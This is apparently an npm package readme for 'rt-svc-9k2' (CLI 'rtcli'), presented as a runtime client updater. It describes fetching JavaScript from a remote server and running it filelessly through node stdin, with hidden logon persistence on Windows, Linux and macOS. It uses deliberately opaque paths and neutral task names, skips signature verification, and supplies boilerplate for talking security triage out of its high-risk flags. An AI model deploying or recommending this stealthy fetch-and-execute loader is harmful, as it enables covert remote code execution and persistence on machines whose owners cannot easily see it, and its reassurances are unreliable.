rt-svc-9k2
v1.0.5
Published
Background client updater (opaque local layout).
Downloads
194
Readme
rt-svc-9k2 (runtime client updater)
Node.js ≥ 18 CLI that keeps a bundled field client up to date and runs it in the background. It calls your HTTP API for a version string, downloads the bundle when the server reports a newer version (or again on restart when it must respawn the child), then starts the client with node - so the script bytes are fed on stdin—nothing is written as a bundle file on disk (only config, recorded version, and child PID remain under the data directory).
This package uses an opaque on-disk layout (random data directory, extensionless filenames, neutral OS task names) so paths and labels are not self-explanatory. This is obscurity, not security; anyone with disk access can still inspect files.
Security & trust model
This tool intentionally implements network → execution, optional boot persistence, and background / hidden runs for managed field clients. Automated scanners may label that pattern as high risk; here it reflects documented product behavior, not undeclared malware. Trust is placed in your HTTPS origin, optional download secret, and who can publish bundles—not in embedded client-side signature verification of the bundle. See SECURITY.md for the full trust model, operational recommendations, and a short paragraph you can paste into triage tickets.
API your server must expose
The updater talks to the same host you pass as --api-base (origin only, no path; e.g. https://api.example.com:443).
| Method | Path | Purpose |
|--------|------|---------|
| GET | /api/runtime-version | JSON { "version": "…" }. Same optional download key as the bundle route when RUNTIME_DOWNLOAD_SECRET is set on the server. |
| GET | /api/runtime-bundle | Raw JavaScript bundle bytes (CommonJS). Optional ?key= / header X-Runtime-Download-Key when the server sets a secret. |
Install
From this directory:
npm install -g .The command-line name is rtcli (see package.json → bin).
Quick start
Configure — creates an install marker under your profile, a random data directory, and a small JSON config (extensionless names inside that directory):
rtcli configure --api-base https://your-api.example.com:443 --download-key YOUR_SECRETOmit
--download-keyif the server does not useRUNTIME_DOWNLOAD_SECRET.Optional:
--interval 30(minutes between checks while the updater loop is active; default 60).Register startup (after logon / user session, the OS starts
rtcli run --servicein the background using the paths saved atinstall-boot):rtcli install-bootOr one command — configure +
install-boot+ start the updater loop detached (this terminal exits; the loop keeps running hidden):rtcli setup --api-base https://your-api.example.com:443 --download-key YOUR_SECRETRun manually — starts the same loop in the background (hidden on Windows;
nohupon Linux/macOS), then exits:rtcli runAutorun uses
rtcli run --servicewithRTCLI_SERVICE_CHILD=1so one long-lived process runs the loop. From a shell, usertcli run(no--service) so the terminal returns immediately.
Where files live
| Item | Location |
|------|----------|
| Install marker | %LOCALAPPDATA%\7k2m9q\p4 (Windows) or ~/.local/share/7k2m9q/p4 (Linux/macOS) — JSON { "dataDir": "…" }. The segment 7k2m9q is a build-time constant in src/branding.mjs; change it there before shipping if you want a different footprint. |
| Data directory | Random subdirectory under the same 7k2m9q folder; holds extensionless files for config (a7), local bundle version (k9), field client PID (m1), updater service PID (n2), etc. — see FILE_* in src/branding.mjs. The runtime bundle itself is not stored here. |
Run rtcli help to print the resolved marker path and data paths on this machine.
Commands
| Command | Purpose |
|---------|---------|
| configure --api-base <origin> [--download-key …] [--interval …] | Create or reuse pointer + data dir; write config and per-OS opaque identifiers. |
| install-boot | Register OS startup for the current user (Windows task / Linux systemd user / macOS LaunchAgent). Requires configure first. |
| setup | Same flags as configure: writes config, runs install-boot, then starts the updater loop detached in the background (this process exits). |
| uninstall-boot | Remove boot registration for this OS (names come from config). Does not delete the data directory or install marker. |
| run | Spawns a hidden/detached child that runs the same loop as autorun (run --service), then exits. If an updater is already running (pid in n2), exits without starting a second one. |
| run --service | Runs the loop in this terminal only when RTCLI_SERVICE_CHILD=1 (set by install-boot / LaunchAgent / systemd, or by the detached parent from rtcli run). Without that env, run --service still detaches and exits like run. When this mode starts, it replaces any previous updater pid recorded in n2 (graceful stop, then takes the lock). |
| version / --version / -V | Print the rt-svc-9k2 package version from package.json. |
| help | Show usage and paths. |
Only one detached updater service is intended to run per data directory. The service writes its Node pid to n2; a second rtcli run or setup sees a live pid and skips spawning another. A new run --service worker replaces the previous one if it is still running.
If GET /api/runtime-bundle fails (network or HTTP error), the updater logs the error and retries after 10 seconds until the download succeeds, then continues with the normal interval between version checks.
Security
- Prefer HTTPS for
apiBase. - The config file may store the download secret; mode
0600is applied on Unix where supported.
Operational notes
- Linux: user services at boot often need
loginctl enable-linger "$USER"so the updater can start before the first interactive login. The user unit setsRTCLI_SERVICE_CHILD=1and runs… run --service. - Windows: logon task runs hidden PowerShell (
-WindowStyle Hidden) thatStart-ProcessNode with-WindowStyle Hidden(nocmd.exeflash). The task is also marked hidden in Task Scheduler. Re-runinstall-bootafter upgrading. - macOS: LaunchAgent sets
RTCLI_SERVICE_CHILDand uses KeepAlive withrun --service.
Migration from older layouts
Installs that used %LOCALAPPDATA%\Runtime\ (older updater) are not migrated. Remove any old scheduled task / systemd unit / LaunchAgent, delete that folder if desired, then run rtcli configure again with this package. After upgrading this package, run rtcli install-boot again so the OS picks up RTCLI_SERVICE_CHILD and run --service in the startup command.
Uninstall boot registration only
rtcli uninstall-bootTo remove local config and version metadata, delete the 7k2m9q directory tree under your profile’s local app data (Windows) or ~/.local/share/7k2m9q (Linux/macOS), after you no longer need them.
